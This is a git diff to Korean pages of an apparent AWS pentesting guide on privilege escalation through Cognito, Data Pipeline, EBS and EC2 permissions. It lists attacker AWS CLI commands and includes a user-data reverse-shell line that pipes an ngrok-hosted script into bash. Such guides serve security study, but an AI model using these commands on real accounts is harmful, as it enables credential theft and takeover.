+이 권한을 가진 공격자는 예를 들어 자신의 제어 하에 있는 Cognito 사용자 풀 또는 로그인할 수 있는 다른 신원 제공자를 설정할 수 있습니다. 그런 다음, 해당 사용자 제공자에서 **로그인**하면 **Identity Pool에 구성된 인증된 역할에 접근할 수 있게 됩니다.**
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
```
-이 권한을 **악용하여 기본 인증을 허용하는 것도 가능합니다**:
+이 권한을 **악용하여 기본 인증을 허용하는** 것도 가능합니다:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id \
@@ -69,11 +69,11 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
-**잠재적 영향**: 아이덴티티 풀 내에서 구성된 인증된 IAM 역할을 손상시킵니다.
+**잠재적 영향**: 아이덴티티 풀 내에서 구성된 인증된 IAM 역할이 손상됩니다.
### `cognito-idp:AdminAddUserToGroup`
-이 권한은 **Cognito 사용자를 Cognito 그룹에 추가**할 수 있도록 허용하므로, 공격자는 이 권한을 악용하여 자신의 통제 하에 있는 사용자를 **더 나은** 권한이나 **다른 IAM 역할**이 있는 다른 그룹에 추가할 수 있습니다.
+이 권한은 **Cognito 사용자를 Cognito 그룹에 추가**할 수 있도록 허용합니다. 따라서 공격자는 이 권한을 악용하여 자신의 통제 하에 있는 사용자를 **더 나은** 권한이나 **다른 IAM 역할**이 있는 다른 그룹에 추가할 수 있습니다.
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id \
@@ -84,7 +84,7 @@ aws cognito-idp admin-add-user-to-group \
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-이 권한을 가진 공격자는 **손상된 Cognito ID 공급자**에서 사용할 수 있는 **모든 IAM 역할**로 **그룹을 생성/업데이트**하고 손상된 사용자를 그룹의 일원으로 만들어 모든 역할에 접근할 수 있습니다:
+이 권한을 가진 공격자는 **손상된 Cognito Identity Provider**에서 사용할 수 있는 **모든 IAM 역할**로 **그룹을 생성/업데이트**하고 손상된 사용자를 그룹의 일원으로 만들어 모든 역할에 접근할 수 있습니다:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn
```
@@ -98,7 +98,7 @@ aws cognito-idp admin-confirm-sign-up \
--user-pool-id \
--username
```
-**잠재적 영향:** 새로운 사용자를 등록할 수 있는 경우 인증된 사용자에 대한 ID 풀 IAM 역할로의 간접적인 권한 상승. 모든 계정을 확인할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
+**잠재적 영향:** 새로운 사용자를 등록할 수 있는 경우 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 간접적인 권한 상승. 모든 계정을 확인할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
### `cognito-idp:AdminCreateUser`
@@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \
[--validation-data ]
[--temporary-password ]
```
-**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 권한 상승.
+**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
### `cognito-idp:AdminEnableUser`
@@ -121,15 +121,15 @@ aws cognito-idp admin-enable-user \
--user-pool-id \
--username
```
-**잠재적 영향:** 공격자가 비활성 사용자에 대한 자격 증명을 가지고 있다면 인증된 사용자에 대한 ID 풀 IAM 역할 및 사용자 권한으로 간접적인 권한 상승이 발생할 수 있습니다.
+**잠재적 영향:** 공격자가 비활성 사용자에 대한 자격 증명을 가지고 있다면 인증된 사용자의 ID 풀 IAM 역할 및 사용자 권한에 대한 간접적인 권한 상승이 발생할 수 있습니다.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-이 권한은 [**ADMIN_USER_PASSWORD_AUTH 방법으로 로그인할 수 있게 해줍니다**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 자세한 내용은 링크를 참조하세요.
+이 권한은 [**ADMIN_USER_PASSWORD_AUTH 방법으로 로그인하는 것을 허용합니다**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 더 많은 정보는 링크를 따라가세요.
### `cognito-idp:AdminSetUserPassword`
-이 권한은 공격자가 **모든 사용자의 비밀번호를 변경할 수 있게 해주며**, 이를 통해 MFA가 활성화되지 않은 사용자를 가장할 수 있게 됩니다.
+이 권한은 공격자가 **모든 사용자의 비밀번호를 변경할 수 있게 하여**, MFA가 활성화되지 않은 사용자를 가장할 수 있게 합니다.
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id \
@@ -137,7 +137,7 @@ aws cognito-idp admin-set-user-password \
--password \
--permanent
```
-**잠재적 영향:** 모든 사용자에 대한 직접적인 권한 상승이 가능하므로 각 사용자가 속한 모든 그룹에 대한 접근과 Identity Pool 인증된 IAM 역할에 대한 접근이 가능합니다.
+**잠재적 영향:** 직접적인 권한 상승으로 인해 잠재적으로 모든 사용자에게 접근할 수 있으며, 각 사용자가 속한 모든 그룹에 대한 접근과 Identity Pool 인증된 IAM 역할에 대한 접근이 가능합니다.
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
@@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \
--username \
--mfa-options
```
-**SetUserMFAPreference:** 이전과 유사하게 이 권한은 사용자의 MFA 기본 설정을 설정하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
+**SetUserMFAPreference:** 이전과 유사하게 이 권한은 사용자의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings ] \
@@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration ] \
[--mfa-configuration ]
```
-**UpdateUserPool:** MFA 정책을 변경하기 위해 사용자 풀을 업데이트하는 것도 가능합니다. [여기에서 cli 확인](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool:** 사용자 풀을 업데이트하여 MFA 정책을 변경하는 것도 가능합니다. [여기에서 cli 확인](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-**Potential Impact:** 공격자가 자격 증명을 알고 있는 모든 사용자에게 간접적인 권한 상승이 가능하며, 이는 MFA 보호를 우회할 수 있게 합니다.
+**Potential Impact:** 공격자가 자격 증명을 알고 있는 모든 사용자에게 간접적인 권한 상승이 가능하며, 이는 MFA 보호를 우회할 수 있게 할 수 있습니다.
### `cognito-idp:AdminUpdateUserAttributes`
-이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기본 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.\
+이 권한을 가진 공격자는 자신의 제어 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기본 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.\
이를 통해 이메일 또는 전화번호를 변경하고 이를 확인된 것으로 설정할 수 있습니다.
```bash
aws cognito-idp admin-update-user-attributes \
@@ -182,7 +182,7 @@ aws cognito-idp admin-update-user-attributes \
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-이 권한을 가진 공격자는 **기존 풀 클라이언트보다 덜 제한된 새로운 사용자 풀 클라이언트를 생성할 수 있습니다**. 예를 들어, 새로운 클라이언트는 인증을 위한 모든 종류의 방법을 허용하고, 비밀이 없으며, 토큰 폐기를 비활성화하고, 토큰이 더 긴 기간 동안 유효하도록 허용할 수 있습니다...
+이 권한을 가진 공격자는 **기존 풀 클라이언트보다 덜 제한된 새로운 사용자 풀 클라이언트를 생성**할 수 있습니다. 예를 들어, 새로운 클라이언트는 인증하는 데 어떤 방법이든 허용하고, 비밀이 없으며, 토큰 철회가 비활성화되고, 토큰이 더 긴 기간 동안 유효하도록 허용할 수 있습니다...
새로운 클라이언트를 생성하는 대신 **기존 클라이언트를 수정**하는 경우에도 동일한 작업을 수행할 수 있습니다.
@@ -193,7 +193,7 @@ aws cognito-idp create-user-pool-client \
--client-name \
[...]
```
-**Potential Impact:** 잠재적인 간접적인 권한 상승은 사용자 풀에 의해 사용되는 Identity Pool의 권한 있는 사용자에게 영향을 미치며, 보안 조치를 완화하는 새로운 클라이언트를 생성하여 공격자가 자신이 생성할 수 있는 사용자로 로그인할 수 있게 합니다.
+**잠재적 영향:** User Pool에 의해 사용되는 Identity Pool의 권한 있는 사용자에 대한 잠재적인 간접적인 권한 상승으로, 보안 조치를 완화하는 새로운 클라이언트를 생성하여 공격자가 자신이 생성할 수 있는 사용자로 로그인할 수 있게 합니다.
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
@@ -216,11 +216,11 @@ curl -v -T "PATH_TO_CSV_FILE" \
```
(새로운 가져오기 작업을 생성하는 경우 iam passrole 권한이 필요할 수 있으며, 아직 테스트하지 않았습니다).
-**잠재적 영향:** 인증된 사용자에 대한 ID 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
+**잠재적 영향:** 인증된 사용자를 위한 아이덴티티 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 권한 상승.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-공격자는 새로운 ID 공급자를 생성하여 **이 공급자를 통해 로그인**할 수 있습니다.
+공격자는 새로운 아이덴티티 공급자를 생성하여 **이 공급자를 통해 로그인**할 수 있습니다.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id \
@@ -230,20 +230,20 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping ] \
[--idp-identifiers ]
```
-**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 간접적인 권한 상승.
+**잠재적 영향:** 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
### cognito-sync:\* 분석
-이는 Cognito Identity Pools의 역할에서 기본적으로 매우 일반적인 권한입니다. 권한에 와일드카드가 있는 것은 항상 좋지 않게 보이지만 (특히 AWS에서 오는 경우), **주어진 권한은 공격자의 관점에서 그리 유용하지 않습니다**.
+이는 Cognito Identity Pools의 역할에서 기본적으로 매우 일반적인 권한입니다. 권한에 와일드카드가 있는 것은 항상 나쁘게 보이지만 (특히 AWS에서 오는 경우), **주어진 권한은 공격자의 관점에서 그리 유용하지 않습니다**.
이 권한은 Identity Pools의 사용자 정보와 Identity Pools 내의 Identity ID를 읽을 수 있게 해줍니다 (이는 민감한 정보가 아닙니다).\
Identity ID는 세션의 정보인 [**데이터 세트**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)가 할당될 수 있으며, AWS는 이를 **저장된 게임**으로 정의합니다. 이 데이터 세트에 어떤 종류의 민감한 정보가 포함될 가능성이 있지만 (확률은 매우 낮습니다), 이 정보를 접근하는 방법은 [**열거 페이지**](../aws-services/aws-cognito-enum/)에서 확인할 수 있습니다.
-공격자는 이러한 권한을 사용하여 **이 데이터 세트에서 변경 사항을 게시하는 Cognito 스트림에 자신을 등록**하거나 **Cognito 이벤트에서 트리거되는 람다**를 사용할 수 있습니다. 나는 이것이 사용되는 것을 본 적이 없으며, 여기서 민감한 정보가 있을 것이라고 기대하지 않지만, 불가능하지는 않습니다.
+공격자는 이러한 권한을 사용하여 **이 데이터 세트에서 변경 사항을 게시하는 Cognito 스트림에 자신을 등록**하거나 **Cognito 이벤트에서 트리거되는 Lambda**를 사용할 수 있습니다. 나는 이것이 사용되는 것을 본 적이 없으며, 여기서 민감한 정보가 있을 것이라고 기대하지 않지만, 불가능한 것은 아닙니다.
### 자동 도구
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 악용 프레임워크는 이제 계정의 모든 Cognito 자산을 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하고, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 ID 풀 자격 증명, ID 토큰에서 가정 가능한 역할에 기반한 권한 상승을 자동화하는 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈을 포함합니다.
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 취약점 탐지 프레임워크는 이제 계정의 모든 Cognito 자산을 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하는 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈을 포함하며, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 ID 풀 자격 증명, ID 토큰에서 가정 가능한 역할에 기반한 권한 상승을 자동화합니다.
모듈 기능에 대한 설명은 [블로그 게시물](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2부를 참조하십시오. 설치 지침은 주요 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 참조하십시오.
@@ -259,7 +259,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
```bash
Pacu (new:test) > run cognito__enum
```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 privesc 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 CLI 도구입니다.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 privesc 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 기반 CLI 도구입니다.
#### 설치
```bash
@@ -269,6 +269,6 @@ $ pip install cognito-scanner
```bash
$ cognito-scanner --help
```
-자세한 정보는 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)를 확인하세요.
+자세한 내용은 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)를 확인하세요.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index a9cc1b71d..04e9a3f0a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -12,7 +12,7 @@ datapipeline에 대한 자세한 정보는 다음을 확인하세요:
### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-이 **권한을 가진 사용자들은 할당된 역할의 권한을 사용하여 임의의 명령을 실행하는 Data Pipeline을 생성함으로써 권한을 상승시킬 수 있습니다:**
+이 **권한을 가진 사용자들은 Data Pipeline을 생성하여** **할당된 역할의 권한을 사용하여 임의의 명령을 실행함으로써 권한을 상승시킬 수 있습니다:**
```bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
```
@@ -52,12 +52,12 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
> [!NOTE]
> **14, 15 및 27행**의 **역할**은 **datapipeline.amazonaws.com**에 의해 **가정 가능한 역할**이어야 하며, **28행**의 역할은 **EC2 프로필 인스턴스가 있는 ec2.amazonaws.com에 의해 가정 가능한 역할**이어야 합니다.
>
-> 또한, EC2 인스턴스는 EC2 인스턴스에 의해 가정 가능한 역할에만 접근할 수 있습니다(따라서 그 역할만 훔칠 수 있습니다).
+> 또한, EC2 인스턴스는 EC2 인스턴스에 의해 가정 가능한 역할에만 접근할 수 있으므로 (그 역할만 훔칠 수 있습니다).
```bash
aws datapipeline put-pipeline-definition --pipeline-id \
--pipeline-definition file:///pipeline/definition.json
```
-**공격자가 제작한 파이프라인 정의 파일에는 명령을 실행하거나 AWS API를 통해 리소스를 생성하는 지시문이 포함되어 있으며, 데이터 파이프라인의 역할 권한을 활용하여 추가 권한을 얻을 수 있습니다.**
+공격자가 제작한 **파이프라인 정의 파일은 AWS API를 통해 명령을 실행하거나 리소스를 생성하는 지시어를 포함하고 있으며, Data Pipeline의 역할 권한을 활용하여 추가 권한을 얻을 수 있습니다.**
**잠재적 영향:** 지정된 ec2 서비스 역할로의 직접적인 권한 상승.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index d6fb736f9..f653d5c56 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -13,7 +13,7 @@
### `ds:ResetUserPassword`
이 권한은 Active Directory에서 **존재하는** 사용자의 **비밀번호**를 **변경**할 수 있게 해줍니다.\
-기본적으로, 유일한 **존재하는** 사용자는 **Admin**입니다.
+기본적으로, 유일한 존재하는 사용자는 **Admin**입니다.
```
aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123.
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index 838157f27..2f47a15fd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,12 +12,12 @@ dynamodb에 대한 더 많은 정보는 다음을 확인하세요:
### Post Exploitation
-내가 아는 한, AWS에서 **AWS `dynamodb` 권한만으로 권한을 상승시키는 직접적인 방법은 없습니다**. 테이블에서 **민감한** 정보를 읽을 수 있고 (AWS 자격 증명을 포함할 수 있음) **테이블에 정보를 쓸 수 있습니다** (다른 취약점을 유발할 수 있음, 예: lambda 코드 주입...) 하지만 이러한 모든 옵션은 이미 **DynamoDB Post Exploitation 페이지**에서 고려되었습니다:
+제가 아는 한, AWS에서 **AWS `dynamodb` 권한만으로 권한을 상승시키는 직접적인 방법은 없습니다**. 테이블에서 **민감한** 정보를 읽을 수 있고 (AWS 자격 증명이 포함될 수 있음) **테이블에 정보를 쓸 수 있습니다** (이는 다른 취약점을 유발할 수 있습니다, 예: lambda 코드 주입...) 하지만 이러한 모든 옵션은 이미 **DynamoDB Post Exploitation 페이지**에서 고려되었습니다:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}
-### TODO: Read data abusing data Streams
+### TODO: 데이터 스트림을 악용하여 데이터 읽기
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index ba048c138..8730a0199 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -6,13 +6,13 @@
### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-이 권한을 가진 공격자는 **볼륨 스냅샷을 로컬로 다운로드하고 분석**하여 그 안에서 민감한 정보를 검색할 수 있습니다(예: 비밀 또는 소스 코드). 이를 수행하는 방법은 다음에서 확인하십시오:
+이 권한을 가진 공격자는 **로컬에서 볼륨 스냅샷을 다운로드하고 분석**하여 그 안에서 민감한 정보를 검색할 수 있습니다(예: 비밀 또는 소스 코드). 이를 수행하는 방법은 다음에서 확인하십시오:
{{#ref}}
../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
{{#endref}}
-`ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`와 같은 다른 권한도 유용할 수 있습니다.
+다른 권한도 유용할 수 있습니다: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
도구 [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy)는 **도메인 컨트롤러에서 비밀번호를 추출하는** 공격을 수행합니다.
@@ -20,8 +20,8 @@
### **`ec2:CreateSnapshot`**
-**`EC2:CreateSnapshot`** 권한을 가진 모든 AWS 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 도메인 사용자들의 해시를 훔칠 수 있으며, 이를 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 Impacket의 secretsdump 프로젝트에 사용할 수 있습니다.
+**`EC2:CreateSnapshot`** 권한을 가진 모든 AWS 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 이를 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 Impacket의 secretsdump 프로젝트에 사용할 수 있도록 내보내어 모든 도메인 사용자의 해시를 훔칠 수 있습니다.
-이 도구를 사용하여 공격을 자동화할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다.
+이 공격을 자동화하는 도구를 사용할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 48ccd8ef2..56d99e01e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -4,7 +4,7 @@
## EC2
-EC2에 대한 **자세한 정보**는 다음을 확인하세요:
+**EC2에 대한 더 많은 정보**는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -40,7 +40,7 @@ GuradDuty를 사용할 때 인스턴스 외부에서 IAM 역할의 자격 증명
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**잠재적 영향:** 기존 인스턴스 프로필에 연결된 모든 EC2 역할로 직접적인 권한 상승.
+**잠재적 영향:** 기존 인스턴스 프로필에 연결된 모든 EC2 역할로의 직접적인 권한 상승.
#### ECS로의 권한 상승
@@ -59,7 +59,7 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-ECS 서비스를 이 새로운 EC2 인스턴스에서 **강제로 실행하는 방법**을 배우려면 다음을 확인하세요:
+ECS 서비스를 **강제로 실행**하기 위해 이 새로운 EC2 인스턴스에서 확인하세요:
{{#ref}}
aws-ecs-privesc.md
@@ -72,7 +72,7 @@ aws-ecs-privesc.md
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **손상된 인스턴스의 IAM 역할을 변경**하여 새로운 자격 증명을 탈취할 수 있습니다.\
-인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 **이미 역할을 가지고 있는 경우**(일반적인 경우) **`iam:RemoveRoleFromInstanceProfile`**도 필요합니다.
+인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 **이미 역할을 가지고 있는 경우** (일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,9 +80,9 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-만약 **인스턴스 프로파일에 역할이** 있고 공격자가 **제거할 수 없다면**, 다른 우회 방법이 있다. 그는 **역할이 없는 인스턴스 프로파일을 찾거나** **새로운 것을 생성할 수 있다** (`iam:CreateInstanceProfile`), **그 역할을 해당 인스턴스 프로파일에 추가하고** (앞서 논의한 대로), **손상된 인스턴스에 손상된 인스턴스 프로파일을 연결할 수 있다:**
+인스턴스 프로파일에 역할이 있고 공격자가 이를 제거할 수 없는 경우, 다른 우회 방법이 있습니다. 그는 역할이 없는 인스턴스 프로파일을 찾거나 새로 만들 수 있습니다 (`iam:CreateInstanceProfile`), 그 인스턴스 프로파일에 역할을 추가하고 (앞서 논의한 대로) 손상된 인스턴스에 손상된 인스턴스 프로파일을 연결할 수 있습니다:
-- 만약 인스턴스에 **인스턴스 프로파일이 없다면** (`ec2:AssociateIamInstanceProfile`) \*
+- 인스턴스에 인스턴스 프로파일이 없는 경우 (`ec2:AssociateIamInstanceProfile`) \*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
@@ -90,9 +90,9 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-이 권한을 사용하면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면 연결된 인스턴스 프로필 역할에 대한 자격 증명을 훔칠 수 있습니다.
+이 권한을 사용하면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면, 연결된 인스턴스 프로필을 변경하여 더 많은 인스턴스 프로필 역할에 대한 자격 증명을 훔칠 수 있습니다.
-- 만약 **인스턴스 프로필이 있다면**, 인스턴스 프로필을 **제거**할 수 있습니다(`ec2:DisassociateIamInstanceProfile`) 그리고 **연결**할 수 있습니다.
+- **인스턴스 프로필이 있는 경우**, 인스턴스 프로필을 **제거**할 수 있습니다 (`ec2:DisassociateIamInstanceProfile`) 그리고 **연결**할 수 있습니다.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
@@ -123,7 +123,7 @@ aws ec2 request-spot-instances \
**`ec2:ModifyInstanceAttribute`** 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 그 중에서 그는 **사용자 데이터를 변경**할 수 있으며, 이는 인스턴스가 **임의의 데이터를 실행**하도록 만들 수 있음을 의미합니다. 이는 **EC2 인스턴스에 대한 rev shell을 얻는 데** 사용될 수 있습니다.
-속성은 **인스턴스가 중지되어 있을 때만** **수정**할 수 있으므로, **권한** **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다.
+속성은 **인스턴스가 중지되어 있는 동안에만** 수정할 수 있으므로, **권한** **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Potential Impact:** 생성된 인스턴스에 연결된 모든 EC2 IAM 역할로 직접 권한 상승.
+**잠재적 영향:** 생성된 인스턴스에 연결된 모든 EC2 IAM 역할로 직접 권한 상승.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한을 가진 공격자는 **사용자 데이터**에 **rev shell**을 포함한 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **모든 Autoscaler 그룹**이 해당 템플릿을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다.
+**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한을 가진 공격자는 **사용자 데이터**에 **rev shell**이 포함된 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **Autoscaler 그룹**이 해당 **Launch Template**을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +182,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
-**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 **사용자 데이터**에 포함한 **Launch Configuration**을 **생성**한 다음, 해당 구성에서 **autoscaling 그룹**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다.
